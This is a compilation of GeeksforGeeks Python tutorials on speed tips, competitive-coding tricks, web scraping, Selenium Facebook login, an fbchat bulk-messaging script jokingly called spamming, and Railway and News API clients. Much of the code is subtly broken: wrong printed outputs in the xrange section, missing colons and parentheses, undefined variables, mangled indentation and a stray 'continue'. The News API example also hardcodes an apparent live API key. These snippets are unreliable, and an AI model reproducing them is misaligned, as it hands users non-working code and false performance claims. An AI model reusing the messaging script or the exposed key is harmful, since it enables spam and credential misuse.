      [-3, 1, 5, 6, 11]
      ['e', 'e', 'g', 'k', 's']
      

      In each case the list is sorted according to the index you select as part of the key argument. This approach works just as well with strings as it does with numbers.

    3. Optimizing loops: Write idiomatic code: This may sound counter-intuitive but writing idiomatic code will make your code faster in most cases. This is because Python was designed to have only one obvious/correct way to do a task.
      For example (String Concatenation):




      # Python program to illustrate using
      # optimized loops for faster coding
        
      # slow O(n^2) - ( Note: In latest implementations it is O(n) )
      s = 'hellogeeks'
      slist = ''
      for i in s:
          slist = slist + i
      print (slist)
            
      # string concatenation (idiomatic and fast O(n))
      st = 'hellogeeks'
      slist = ''.join([i for i in s])
      print (slist)
        
      # Better way to iterate a range
      evens = [ i for i in range(10) if i%2 == 0]
      print (evens)
        
      # Less faster
      i = 0
      evens = []
      while i < 10:
          if i %2 == 0
              evens.append(i)
              i += 1
              print (evens)
        
      # slow
      v = 'for'
      s = 'geeks ' + v + ' geeks'
      print (s)
        
      # fast
      s = 'geeks %s geeks' % v
      print (s)
        
        

      Output:

      hellogeeks
      [0, 2, 4, 6, 8]
      geeks for geeks
      

      Every time running a loop to s(i), Python evaluates the method. However, if you place the evaluation in a variable, the value is already known and Python can perform tasks faster.

    4. Try multiple coding approaches: Using precisely the same coding approach every time we create an application will almost certainly result in some situations where the application runs slower than it might.
      For example (Initializing Dictionary Elements):




      # Python program to illustrate trying
      # multiple coding approaches 
      # for getting faster result
      # slower
      mydict = {'g':1,'e':1,'e':1,'k':1}
      word = 'geeksforgeeks'
      for w in word:
          if w not in mydict:
              mydict[w] = 0
          mydict[w] += 1
      print (mydict)
        
      # faster
      mydict = {'g':1,'e':1,'e':1,'k':1}
      word = 'geeksforgeeks'
      for w in word:
          try:
              mydict[w] += 1
          except KeyError:
              mydict[w] = 1
      print (mydict)

      Output:

      {'e': 5, 'g': 3, 'f': 1, 'k': 3, 'o': 1, 's': 2, 'r': 1}
      

      The output is the same in both cases. The only difference is how the output is obtained.

    5. Use xrange instead of range:range() – This returns a list of numbers created using range() function.
      xrange() – This function returns the generator object that can be used to display numbers only by looping. Only particular range is displayed on demand and hence called “lazy evaluation”.




      # slower
      x = [i for i in range(0,10,2)]
      print (x)
        
      # faster
      x = [i for i in range(0,10,2)]
      print (x)

      Output:

      [1, 3, 5, 7, 9]
      

      This could save you system memory because xrange() will only yield one integer element in a sequence at a time. Whereas range(), it gives you an entire list, which is unnecessary overhead for looping.

    6. Use Python multiple assignment to swap variables: This is elegant and faster in Python.




      # Python program to illustrate swapping
      # of a variable in one line 
        
      # slower
      x = 2
      y = 5
      temp = x
      x = y
      y = temp
      print (x,y)
        
      x,y = 3,5
      # faster
      x, y = y, x
      print (x,y)

      Output:

      5 2
      5 3
      
    7. Use local variable if possible: Python is faster retrieving a local variable than retrieving a global variable. That is, avoid the “global” keyword. So if you are going to access a method often (inside a loop) consider writing it to a variable.




      # Python program to illustrate trying
      # to use local variables to make code
      # run faster
      class Test:
          def func(self,x):
              print (x+x)
        
      # Declaring variable that assigns class method object
      Obj = Test()
      mytest = Obj.func # Declaring local variable
      n = 2
      for i in range(n):
          mytest(i) # faster than Obj.func(i)

      Output:

      0
      2
      


    References:

    This article is contributed by Afzal Ansari. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Why import star in Python is a bad idea

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Basic
    • Last Updated : 08 Jan, 2020

    Using import * in python programs is considered a bad habit because this way you are polluting your namespace, the import * statement imports all the functions and classes into your own namespace, which may clash with the functions you define or functions of other libraries that you import. Also it becomes very difficult at some times to say from which library does a particular function came from. The risk of overriding the variables/functions etc always persist with the import * practice.

    Below are some points about why import * should not be used:

    All of this does not mean that using import * is always bad, if i had told you that there is nothing like import * thing on this universe you would have been craving for it. The only thing you should remember while using import * is that you should always use this carefully and with discipline maintained.

    Now lets dive into an example to see the problem in a more practical and easy to understand way.

    consider a package a that contains a function sum (a, b)




    # import the module a using import * 
    from a import *
      
    # define a function sum
    def sum (x, y):
        return x + y
      
    print (sum (2, 6))

    the error with this code is that the sum function that we define overrides the sum function from the module ‘a’ that we imported and we don’t even have any idea about it. also it becomes very difficult to identify which function is actually being called in case of large programs.

    Correct method:




    # import the module a as l
    import a as l
      
    def sum (x, y):
        return x + y
      
    # calls the self-defined sum function
    print (sum (2, 6))
      
    # calls the sum function defined in the module a
    print (l.sum(2, 6))

    Coding this way increases code readability as well as it becomes easy to debug and there are almost zero chances that any conflict will occur.


    My Personal Notes arrow_drop_up

    Why is python best suited for Competitive Coding?

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 04 Oct, 2021

    When it comes to Product Based Companies, they need good coders and one needs to clear the Competitive Coding round in order to reach the interview rounds. Competitive coding is one such platform that will test your mental ability and speed at the same time.

    Who should read this?
        Any programmer who still hasn't tried python for
        Competitive Coding MUST give this article a read.
        This should clear up any doubts one has before 
        shifting to python.No matter how comfortable
        a programming language may seem to you right now
        Python is bound to feel even better.
        Python has a tendency of sticking to people
        like a bad habit !!

    SPEED is a factor where python is second to none. The amount of code to be typed decreases drastically in comparison to conventional programming languages like C, C++, JAVA. Another most important point is that python arms its users with a wide variety of functionality, packages, and libraries that act as a supplement to the programmer’s mental ability. 
    Ultimately the best thing about python is that it’s very simple and we need not waste much time on trivial matters like input, output, etc. It helps shift our focus to the problem at hand.
    Here I’m gonna list out some of my favorite features of Python which I’m sure will encourage you to start trying python for Competitive Coding. 
     

    1.Variable Independence 
    Python doesn’t require us to declare variables and their Data-Types before using them. This also gives us the flexibility of range as long as it’s within reasonable limits of the Hardware i.e. no need to worry about integer and long integer. Type conversion is internally handled with flawless results. 

    Amazing Fact !!
              For nested loops in python we can use the 
              same variable name in both inner and outer
              for-loop variables without fear of 
              inconsistent data or any errors !!

    2.Common Functions like sorted, min, max, count, etc. 
    The min/max function helps us to find the minimum/maximum element from a list. The Sorted function allows us to sort a list and the count function helps us to count the number of occurrences of a particular element in a list. 
    The best thing is that we can rest assured that the python libraries use the best possible algorithms for each of the above operations. For example, the sorted function is a very special sorting algorithm called TIMSORT that has a worst-case time complexity of O(n log n) which is the best a sorting algorithm can offer. 

    Reference: Python sorting algorithm

    Python




    # Python code to demonstrate working of min(),
    # max(), sorted() and count()
    arr = [10, 76, 87, 45, 22, 87, 90, 87, 66, 84, 87]
     
    print("Maximum = ",max(arr))
    print("Minimum = ",min(arr))
    print("The sorted array is = ",sorted(arr))
    print('Number of occurrences of 87 is = ',arr.count(87))

    Output: 

    ('Maximum = ', 90)
    ('Minimum = ', 10)
    ('The sorted array is = ', [10, 22, 45, 66, 76, 84, 87, 87, 87, 87, 90])
    ('Number of occurrences of 87 is = ', 4)

    3.Lists in python combine the best aspects of arrays and linked lists. 
    Python lists provide the unique functionality of deleting specific elements while keeping the memory locations in a contiguous manner. This feature renders the concept of Linked lists null and void. It’s like a linked list on STEROIDS! Moreover, Insertions can be performed at any desired location.

    Python




    # Python code to demonstrate list operations
    arr = [00, 11, 22, 33, 44, 55, 66, 77, 88, 99]
     
    # deletion via index position
    del arr[5]
    print(arr)
     
    # deletion via specifying particular element
    arr.remove(22)
    print(arr)
     
    # insertion at any arbitrary position
    arr[-1] = "A random number"
    print(arr)
     
    # concept of sub-lists
    k = arr[:2]
    print(k)

    Output: 

    [0, 11, 22, 33, 44, 66, 77, 88, 99]
    [0, 11, 33, 44, 66, 77, 88, 99]
    [0, 11, 33, 44, 66, 77, 88, 'A random number']
    [0, 11]

    4.Unique list operations – Backtracking, Sub-Lists. 
    In case we are not sure about the list size then we can use the index position of -1 to access the last element. Similarly, -2 can be used for the second last element and so on. Thus we can backtrack a list. Also, we don’t have to specify any particular list size so it also works as a dynamic allocation array. 
    A specific portion of a list can be extracted without having to traverse the list as is seen in the above example. A very astonishing fact about lists is that they can hold different data types. Gone are the days where lists used to be a homogeneous collection of data elements!!

    Python




    # Python code to demonstrate that a function
    # can easily return multiple values.
    def multi_return(*arr):
        k1 = arr[0]
        k2 = arr[1]
        return k1,k2
         
    a,b = multi_return(11,22)
    print(a,' ',b)
     
    a,b = multi_return(55,66,77,88,99)
    print(a,' ',b)

    Output: 

    11   22
    55   66

    5.A flexible number of arguments to a function. 
    Arguments to a function may be passed in the form of a list whose size may vary every time we need to call the function. In the above example, we first called the function with 2 arguments and then with 5 arguments!! 

    Python




    # Python code to demonstrate quick searching
     
    arr = [1, 2, 3, 4, 5, 6, 7, 8, 9]
     
    # searching made easy
    if 3 in arr:
        print("YES")
    else:
        print("NO")
     
    #foreach loop
    for i in arr:
        print(i,end = ' ')

    Output: 

    YES
    1 2 3 4 5 6 7 8 9 

    Python




    # Python code to demonstrate use of dictionaries
    # and sets.
    a = {'a','b','c','d','e','a'}
     
    # the second 'a' is dropped to avoid repetition
    print(a)
     
    dict = {'Name': 'Zara', 'Age': 7, 'Class': 'First'}
    print("dict['Name']: ", dict['Name'])
    print("dict['Age']: ", dict['Age'])

    Output: 

    {'d', 'a', 'e', 'b', 'c'}
    dict['Name']:  Zara
    dict['Age']:  7

    Python3




    # Python code to demonstrate how to take space
    # separated inputs.
    arr = [int(a) for a in input().strip().split(' ')]
     
    print(arr)

    My Personal Notes arrow_drop_up

    Python Tricks for Competitive Coding

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 18 Feb, 2022

    Python is one such programming language that makes everything easier and straight forward. Anyone who has dabbled in python for Competitive Coding gets somewhat addicted to its many features. Here is a list of some of its cool features that I’ve found most useful in a competitive coding environment.
     

    Python




    # Code to find top 3 elements and their counts
    # using most_common
    from collections import Counter
     
    arr = [1, 3, 4, 1, 2, 1, 1, 3, 4, 3, 5, 1, 2, 5, 3, 4, 5]
    counter = Counter(arr)
    top_three = counter.most_common(3)
    print(top_three)

    Output:

    [(1, 5), (3, 4), (4, 3)]

    Python




    # Python code to find 3 largest and 4 smallest
    # elements of a list.
    import heapq
     
    grades = [110, 25, 38, 49, 20, 95, 33, 87, 80, 90]
    print(heapq.nlargest(3, grades))
    print(heapq.nsmallest(4, grades))

    Output: 

    [110, 95, 90]
    [20, 25, 33, 38]

    Python




    # Python code to demonstrate use of zip.
    import heapq
     
    stocks = {
        'Goog' : 520.54,
        'FB' : 76.45,
        'yhoo' : 39.28,
        'AMZN' : 306.21,
        'APPL' : 99.76
        }
     
    zipped_1 = zip(stocks.values(), stocks.keys())
     
    # sorting according to values
    print(sorted(zipped_1))
     
    zipped_2 = zip(stocks.keys(), stocks.values())
    print(sorted(zipped_2))
    #sorting according to keys

    Output: 

    [(39.28, 'yhoo'), (76.45, 'FB'), (99.76, 'APPL'), (306.21, 'AMZN'), (520.54, 'Goog')]
    [('AMZN', 306.21), ('APPL', 99.76), ('FB', 76.45), ('Goog', 520.54), ('yhoo', 39.28)]

    Python




    # Python code to apply a function on a list
    income = [10, 30, 75]
     
    def double_money(dollars):
        return dollars * 2
     
    new_income = list(map(double_money, income))
    print(new_income)

    Output: 

    [20, 60, 150]

    Python




    string = ""
    lst = ["Geeks", "for", "Geeks"]
    for i in lst:
        string += i
    print(string)

    This method of joining a list of strings is definitely not the best method because everytime a new string will be created 

    Python




    lst = ["Geeks", "for", "Geeks"]
    string = ''.join(lst)
    print(string)

    Using join() function is memory efficient as well as handy to write which definitely proves to be the advantages over the previous code.

    Individually these functions might look innocent but will definitely come in handy in a TIME LIMITED CODING ENVIRONMENT in the sense that they offer large functionality in a VERY short amount of code. The functionalities discussed have very specific applications and act like a SHORTCUT or a CHEAT-SHEET in competitive coding. Having these useful tricks up your sleeve might just give someone the COMPETITIVE EDGE that they were looking for !!
    This article is contributed by Siddhant Bajaj. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Python program to crawl a web page and get most frequent words

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 18 Nov, 2021

    The task is to count the most frequent words, which extracts data from dynamic sources.
    First, create a web crawler or scraper with the help of the requests module and a beautiful soup module, which will extract data from the web pages and store them in a list. There might be some undesired words or symbols (like special symbols, blank spaces), which can be filtered in order to ease the counts and get the desired results. 

    After counting each word, we also can have the count of most (say 10 or 20) frequent words.
    Modules and Library functions used :
     

    requests : Will allow you to send HTTP/1.1 requests and many more. 
    beautifulsoup4 : Used for parsing HTML/XML to extract data out of HTML and XML files. 
    operator : Exports a set of efficient functions corresponding to the intrinsic operators. 
    collections : Implements high-performance container datatypes.

    Below is an implementation of the idea discussed above : 
     

    Python3




    # Python3 program for a word frequency
    # counter after crawling/scraping a web-page
    import requests
    from bs4 import BeautifulSoup
    import operator
    from collections import Counter
     
    '''Function defining the web-crawler/core
    spider, which will fetch information from
    a given website, and push the contents to
    the second  function clean_wordlist()'''
     
     
    def start(url):
     
        # empty list to store the contents of
        # the website fetched from our web-crawler
        wordlist = []
        source_code = requests.get(url).text
     
        # BeautifulSoup object which will
        # ping the requested url for data
        soup = BeautifulSoup(source_code, 'html.parser')
     
        # Text in given web-page is stored under
        # the <div> tags with class <entry-content>
        for each_text in soup.findAll('div', {'class': 'entry-content'}):
            content = each_text.text
     
            # use split() to break the sentence into
            # words and convert them into lowercase
            words = content.lower().split()
     
            for each_word in words:
                wordlist.append(each_word)
            clean_wordlist(wordlist)
     
    # Function removes any unwanted symbols
     
     
    def clean_wordlist(wordlist):
     
        clean_list = []
        for word in wordlist:
            symbols = "!@#$%^&*()_-+={[}]|\;:\"<>?/., "
     
            for i in range(len(symbols)):
                word = word.replace(symbols[i], '')
     
            if len(word) > 0:
                clean_list.append(word)
        create_dictionary(clean_list)
     
    # Creates a dictionary containing each word's
    # count and top_20 occurring words
     
     
    def create_dictionary(clean_list):
        word_count = {}
     
        for word in clean_list:
            if word in word_count:
                word_count[word] += 1
            else:
                word_count[word] = 1
     
        ''' To get the count of each word in
            the crawled page -->
     
        # operator.itemgetter() takes one
        # parameter either 1(denotes keys)
        # or 0 (denotes corresponding values)
     
        for key, value in sorted(word_count.items(),
                        key = operator.itemgetter(1)):
            print ("% s : % s " % (key, value))
     
        <-- '''
     
        c = Counter(word_count)
     
        # returns the most occurring elements
        top = c.most_common(10)
        print(top)
     
     
    # Driver code
    if __name__ == '__main__':
        # starts crawling and prints output
        start(url)
    [('to', 10), ('in', 7), ('is', 6), ('language', 6), ('the', 5),
     ('programming', 5), ('a', 5), ('c', 5), ('you', 5), ('of', 4)]

    My Personal Notes arrow_drop_up

    Facebook Login using Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 16 Jul, 2020

    Python scripting is one of the most intriguing and fascinating things to do meanwhile learning Python. Automation and controlling the browser is one of them.

    In this particular article, we will see how to log in to the Facebook account using Python and the power of selenium.

    Selenium automates and controls browsers and it’s activity. We can code in our way to control browser tasks with the help of selenium. Primarily, it is for automating web applications for testing purposes, but is certainly not limited to just that. Boring web-based administration tasks can be automated as well. As you learn more it’s so much fun to see things happening automatically and saving time in doing useless tasks again and again.

    We use selenium here to open the site of our requirement (in this case Facebook) and there we inspect elements across email box, password box, and login button to find the id of them.

    1. Installing third party modules required
      Selenium 
      getpass
      Additional Requirement : geckodriver for firefox and 
                               chromedriver for chrome
      
    2. Importing necessary modules
      • Selenium : to automate browser
      • Time : to pause running of script for some seconds as browsers try to detect automation stuff if we input too fast
    3. Taking username and password as input from user
      Using input() function and passing prompt message as argument.
    4. Opening browser and required website
      webdriver.Chrome() will open new window of chrome. We will save it’s object in variable named driver.
      Now using get function we will open up the Facebook website.
    5. Finding element for sending data and Sending input
      Use inspect element tool on the element of browser of which you want to find id. In this case we will inspect username box, password box, login button to find their id. And then use this id combining with selenium function find_element_by_id() to find it across web page and save it in variables for later use. Then by using send_keys() we will send data across the elements found previously.
    6. Closing the browser
      After all of the above steps we have to quit the session and will be achieved by using driver.quit().
      Note: Here driver is the name of variable you chose for webdriver.Chrome().

    Complete Code:




    from selenium import webdriver
    from time import sleep
    from webdriver_manager.chrome import ChromeDriverManager
    from selenium.webdriver.chrome.options import Options 
      
    usr=input('Enter Email Id:'
    pwd=input('Enter Password:'
      
    driver = webdriver.Chrome(ChromeDriverManager().install())
    print ("Opened facebook")
    sleep(1)
      
    username_box = driver.find_element_by_id('email')
    username_box.send_keys(usr)
    print ("Email Id entered")
    sleep(1)
      
    password_box = driver.find_element_by_id('pass')
    password_box.send_keys(pwd)
    print ("Password entered")
      
    login_box = driver.find_element_by_id('loginbutton')
    login_box.click()
      
    print ("Done")
    input('Press anything to quit')
    driver.quit()
    print("Finished")

    See how such a concise piece of code can automate things for you.

    Bonus:
    We can also enter the password without displaying it on screen, for security purpose. For that we have to include one more module called getpass. Now with just one change in input statement of the password we can input password without displaying it on screen.




    from getpass import getpass
    pwd = getpass('Enter Password:'

    Getpass prompts the user for a password without echoing. Basically it lets you enter the password without showing it on the screen.

    Similarly you can also automate many other things like twitter login, tweeting, Facebook logout, and much more.

    In case of any queries, post them below in the comments section. If you liked this article and want to see any more of the similar stuff, let me know in the comments section below.

    This article is contributed by Umang Ahuja. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Send message to FB friend using Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 22 Jan, 2022

    The power of Python comes because of the large number of modules it has. This time we are going to use one of those. Every one of us, one time or another, has a wish of the message (or spamming -.-) our Facebook friend. This is a program that can do something similar. So without further delay, let’s jump right in.
     

    Python3




    import fbchat
    from getpass import getpass
    username = input("Username: ")
    client = fbchat.Client(username, getpass())
    no_of_friends = int(raw_input("Number of friends: "))
    for i in range(no_of_friends):
        name = input("Name: ")
        friends = client.getUsers(name)  # return a list of names
        friend = friends[0]
        msg = input("Message: ")
        sent = client.send(friend.uid, msg)
        if sent:
            print("Message sent successfully!")

    Now, let’s try to understand the program step by step…
    Modules required – fbchat (Can be downloaded from here: Github link); getpass (usually it is pre-installed)
    fbchat Installation:
     

    sudo pip install fbchat

    In case you get the error: ** make sure the development packages of libxml2 and libxslt are installed **
    In Ubuntu, installing the following packages might help:
     

    sudo apt-get install python-dev libxml2-dev libxslt1-dev zlib1g-dev

    Program explanation: The program can be broken down into several steps:
    Step – 1: Getting the user credentials
    This part is very easy. Using raw_input() and getpass() we can get the username and password. There are some things to keep in mind in this step. 
     

    1. Your Facebook account should have a username. You can check that (or set that) by going to your general settings.
    2. We are not using raw_input to get a password because as soon as the characters (or even the password length) are out, we have got a security breach.

    Step – 2: Entering the Facebook friend’s name 
    Now that we have signed in, we can enter the number of friends we want to send the message to, and for each of those friends, we can enter the custom message.
    Step – 3: Spamming *evil* 
     

    Caution – I am not responsible for extensive usage of the program which can get you banned from Facebook or getting blocked by your friend. Get your own list of guinea pigs!

    Because of some reason, if you want to send the same message several times, you can use a simple for loop. Nothing difficult about that 😉
    What you can try out now? 
     

    Facebook hack – Send a blank message 
    Using the normal Facebook chat or messenger, it is not possible to send a blank message unless you are aware of the alt+0173 trick. But, with this program, you can send blank messages as well!! All you have to do is enter a blank message. That is, when the program asks for the message to be sent, just press enter, and voila!! Your friend will be receiving a series of blank messages…
    This new code works fine for now : 
     

    Python3




    import fbchat
    from getpass import getpass
    username = input("Username: ")
    client = fbchat.Client(username, getpass())
    no_of_friends = int(raw_input("Number of friends: "))
    for i in range(no_of_friends):
        name = input("Name: ")
        friends = client.searchForUsers(name)  # return a list of names
        friend = friends[0]
        msg = input("Message: ")
        sent = client.sendMessage(msg, thread_id=friend.uid)
        if sent:
            print("Message sent successfully!")

    If you have any other projects in mind concerned with this or if you have prepared some similar to this one, please do share in the comments section!
    This article is contributed by Vishwesh Ravi Shrimali. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
     


    My Personal Notes arrow_drop_up

    Creating a C/C++ Code Formatting tool with help of Clang tools

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 16 Jul, 2020

    Today we are going to discuss formatting files in the user’s workspace by their extension. For this we are going to make use of Clang’s format tools.

    Prerequisites:

    Setup:

    How to use it?


    Querying Live running status and PNR of trains using Railway API in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 08 Jun, 2021

    Railway API is organized around GET Requests. One can use this JSON based API to get information from Indian Railways regarding Live Train Status, PNR Status, Train Schedule, Station Details, and other things.
     

    To use this API, one must need the API key, which can get from here
     

    Note: User need to create an account on railwayapi.com to use the APIs.
     

    Modules Needed : 

    requests
    json

     

    Live running status :

    Below is the implementation : 
     

    Python3




    # Python program to find live train
    # status using RAILWAY API
     
    # import required modules
    import requests , json
     
    # enter your api key here
    api_key = "Your_API_Key"
     
    # base_url variable to store url
     
    # enter train_number here
    train_number = "12056"
     
    # enter current date in dd-mm-yyyy format
    current_date = "20-06-2018"
     
    # complete_url variable to
    # store complete url address
    complete_url = base_url + train_number + "/date/" + current_date + "/apikey/" + api_key + "/"
     
    # get method of requests module
    # return response object
    response_ob = requests.get(complete_url)
     
    # json method of response object convert
    # json format data into python format data
    result = response_ob.json()
     
    # Now result contains a list of nested dictionaries
    # Check the value of "response_code" key is equal
    # to "200" or not if equal that means record is
    # found otherwise record is not found
    if result["response_code"] == 200 :
     
        # train name is extracting from
        # the result variable data    
        train_name = result["train"]["name"]
     
        # store the value or data of
        # "route" key in variable y
        temp = result["route"]
     
        # source station name is extracting
        # from the y variable data
        source_station = temp[0]["station"]["name"]
     
        # destination station name is
        # extracting from the y variable data
        destination_station = temp[-1]["station"]["name"]
         
        # store the value of "position"
        # key in variable position
        position = result["position"]
     
        # print details
        print(" train name : " + str(train_name)
            + "\n source station : " + str(source_station)
            + "\n destination station : "+ str(destination_station)
            + "\n current status : " + str(position) )
         
    else :
        print("Record not Found")

    Output: 
     

     train name : NEWDELHI JAN SHATABDI EXP
     source station : DEHRADUN
     destination station : NEW DELHI
     current status : Train has reached Destination and late by 15 minutes.

      
     

    Live PNR status :

     

    Python3




    # Python program to find PNR
    # status using RAILWAY API
     
    # import required modules
    import requests, json
     
    # Enter API key here
    api_key = "Your_API_key"
     
    # base_url variable to store url
     
    # Enter valid pnr_number
    pnr_number = "6515483790"
     
    # Stores complete url address
    complete_url = base_url + pnr_number + "/apikey/" + api_key + "/"
     
    # get method of requests module
    # return response object
    response_ob = requests.get(complete_url)
     
    # json method of response object convert
    # json format data into python format data
    result = response_ob.json()
     
    # now result contains list
    # of nested dictionaries
    if result["response_code"] == 200:
     
        # train name is extracting
        # from the result variable data
        train_name = result["train"]["name"]
     
        # train number is extracting from
        # the result variable data
        train_number = result["train"]["number"]
     
        # from station name is extracting
        # from the result variable data
        from_station = result["from_station"]["name"]
     
        # to_station name is extracting from
        # the result variable data
        to_station = result["to_station"]["name"]
     
        # boarding point station name is
        # extracting from the result variable data
        boarding_point = result["boarding_point"]["name"]
     
        # reservation upto station name is
        # extracting from the result variable data
        reservation_upto = result["reservation_upto"]["name"]
     
        # store the value or data of "pnr"
        # key in pnr_num variable
        pnr_num = result["pnr"]
     
        # store the value or data of "doj" key
        # in variable date_of_journey variable
        date_of_journey = result["doj"]
     
        # store the value or data of
        # "total_passengers" key in variable
        total_passengers = result["total_passengers"]
     
        # store the value or data of "passengers"
        # key in variable passengers_list
        passengers_list = result["passengers"]
     
        # store the value or data of
        # "chart_prepared" key in variable
        chart_prepared = result["chart_prepared"]
     
        # print following values
        print(" train name : " + str(train_name)
              + "\n train number : " + str(train_number)
              + "\n from station : " + str(from_station)
              + "\n to station : " + str(to_station)
              + "\n boarding point : " + str(boarding_point)
              + "\n reservation upto : " + str(reservation_upto)
              + "\n pnr number : " + str(pnr_num)
              + "\n date of journey : " + str(date_of_journey)
              + "\n total no. of passengers: " + str(total_passengers)
              + "\n chart prepared : " + str(chart_prepared))
     
        # looping through passenger list
        for passenger in passengers_list:
             
            # store the value or data
            # of "no" key in variable
            passenger_num = passenger["no"]
     
            # store the value or data of
            # "current_status" key in variable
            current_status = passenger["current_status"]
     
            # store the value or data of
            # "booking_status" key in variable
            booking_status = passenger["booking_status"]
     
            # print following values
            print(" passenger number : " + str(passenger_num)
                  + "\n current status : " + str(current_status)
                  + "\n booking_status : " + str(booking_status))
     
    else:
        print("Record Not Found")

    Output : 
     

     train name : DOON EXPRESS
     train number : 13009
     from station : LUCKNOW
     to station : DEHRADUN
     boarding point : LUCKNOW
     reservation upto : DEHRADUN
     pnr number : 6515483790
     date of journey : 01-07-2018
     total no. of passengers: 1
     chart prepared : False
     passenger number : 1
     current status : RLWL/-/16/GN
     booking_status : RLWL/-/23/GN

     


    My Personal Notes arrow_drop_up

    Fetching top news using News API

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 26 May, 2022

    News API is a simple JSON-based REST API for searching and retrieving news articles from all over the web. Using this, one can fetch the top stories running on a news website or can search top news on a specific topic (or keyword).

    News can be retrieved based on some criteria. Say the topic (keyword) to be searched is ‘Geeksforgeeks’ or might be concerned to a specific channel. All can be done, but the API key is needed to get started. 

    Steps :
    
    1. Visit https://newsapi.org/ to get your own API key.
    
    2. Install requests package.

    Below is the implementation of the above idea : 

    Python3




    # importing requests package
    import requests    
     
    def NewsFromBBC():
         
        # BBC news api
        # following query parameters are used
        # source, sortBy and apiKey
        query_params = {
          "source": "bbc-news",
          "sortBy": "top",
          "apiKey": "4dbc17e007ab436fb66416009dfb59a8"
        }
        main_url = " https://newsapi.org/v1/articles"
     
        # fetching data in json format
        res = requests.get(main_url, params=query_params)
        open_bbc_page = res.json()
     
        # getting all articles in a string article
        article = open_bbc_page["articles"]
     
        # empty list which will
        # contain all trending news
        results = []
         
        for ar in article:
            results.append(ar["title"])
             
        for i in range(len(results)):
             
            # printing all trending news
            print(i + 1, results[i])
     
        #to read the news out loud for us
        from win32com.client import Dispatch
        speak = Dispatch("SAPI.Spvoice")
        speak.Speak(results)                
     
    # Driver Code
    if __name__ == '__main__':
         
        # function call
        NewsFromBBC()

    Output : 

    1 Italy to lift coronavirus travel restrictions
    2 White House 'Operation Warp Speed' to look for Covid jab
    3 Two Americas in the nation's capital
    4 Kobe Bryant helicopter crash post-mortem released
    5 Little things people are doing while socially distanced
    6 The last 'normal' photo on your phone
    7 'They came to kill the mothers'
    8 EU-UK Brexit trade talks in trouble
    9 Trial starts to see if dogs can 'sniff out' virus
    10 Beatles photographer Astrid Kirchherr dies aged 81

    Note: Output may change based on the top articles at the time.

    Approach 2:

    This approach will work as a cherry on a cake because it will display the news according to the category entered by the user so as work as a filter for those who want to know the news in a particular category/section.

    First of all install newsapi and pycountry in your system if it’s not there the install using the command below:

    ~ pip install newsapi-python
    ~ pip install pycountry

    Python3




    from newsapi import NewsApiClient
    import pycountry
     
    # you have to get your api key from newapi.com and then paste it below
    newsapi = NewsApiClient(api_key='Your API Key')
     
    # now we will take name of country from user as input
    input_country = input("Country: ")
    input_countries = [f'{input_country.strip()}']
    countries = {}
     
    # iterate over all the countries in
    # the world using pycountry module
    for country in pycountry.countries:
     
        # and store the unique code of each country
        # in the dictionary along with it's full name
        countries[country.name] = country.alpha_2
     
    # now we will check that the entered country name is
    # valid or invalid using the unique code
    codes = [countries.get(country.title(), 'Unknown code')
             for country in input_countries]
     
    # now we have to display all the categories from which user will
    # decide and enter the name of that category
    option = input("Which category are you interested in?\n1.Business\n2.Entertainment\n3.General\n4.Health\n5.Science\n6.Technology\n\nEnter here: ")
     
    # now we will fetch the new according to the choice of the user
    top_headlines = newsapi.get_top_headlines(
     
        # getting top headlines from all the news channels
        category=f'{option.lower()}', language='en', country=f'{codes[0].lower()}')
     
      # fetch the top news under that category
      Headlines = top_headlines['articles']
     
       # now we will display the that news with a good readability for user
       if Headlines:
            for articles in Headlines:
                b = articles['title'][::-1].index("-")
                if "news" in (articles['title'][-b+1:]).lower():
                    print(
                        f"{articles['title'][-b+1:]}: {articles['title'][:-b-2]}.")
                else:
                    print(
                        f"{articles['title'][-b+1:]} News: {articles['title'][:-b-2]}.")
        else:
            print(
                f"Sorry no articles found for {input_country}, Something Wrong!!!")
        option = input("Do you want to search again[Yes/No]?")
        if option.lower() == 'yes':
            continue
        else:
            exit()

    Input:

    Country: India
    Which category are you interested in?
    1.Business
    2.Entertainment
    3.General
    4.Health
    5.Science
    6.Technology
    
    Enter here: Technology

    Output:

    Gizbot News: Garena Free Fire Redeem Codes For August 16; Get Master of Minds Weapon Loot Crate.
    News18: Google Pixel 5a Will Have Biggest Battery On Any Pixel Phone Ever, Launch This Month.
    Hindustan Times News: PUBG Mobile: Here’s how to get the Unhinged Mortician set on PUBG Mobile, check details of RPM2 Royale Pass.
    Times of India News: New iPhones, Watch, AirPods and more: What Apple may launch in September.
    GSMArena.com News: Top 10 trending phones of week 32 - GSMArena.com news.
    Hindustan Times News: Study finds if 'people persons' are 'machine persons' when they interact online.
    Times of India News: 2021 vs 2020: August gasps for one ‘good’ air day in Gurugram this year.
    ScienceAlert News: A Simple Crystal Could Finally Give Us Large-Scale Quantum Computing, Scientists Say.
    Engadget News: The Switch is the first console to sweep Japan's game sales chart in 33 years.
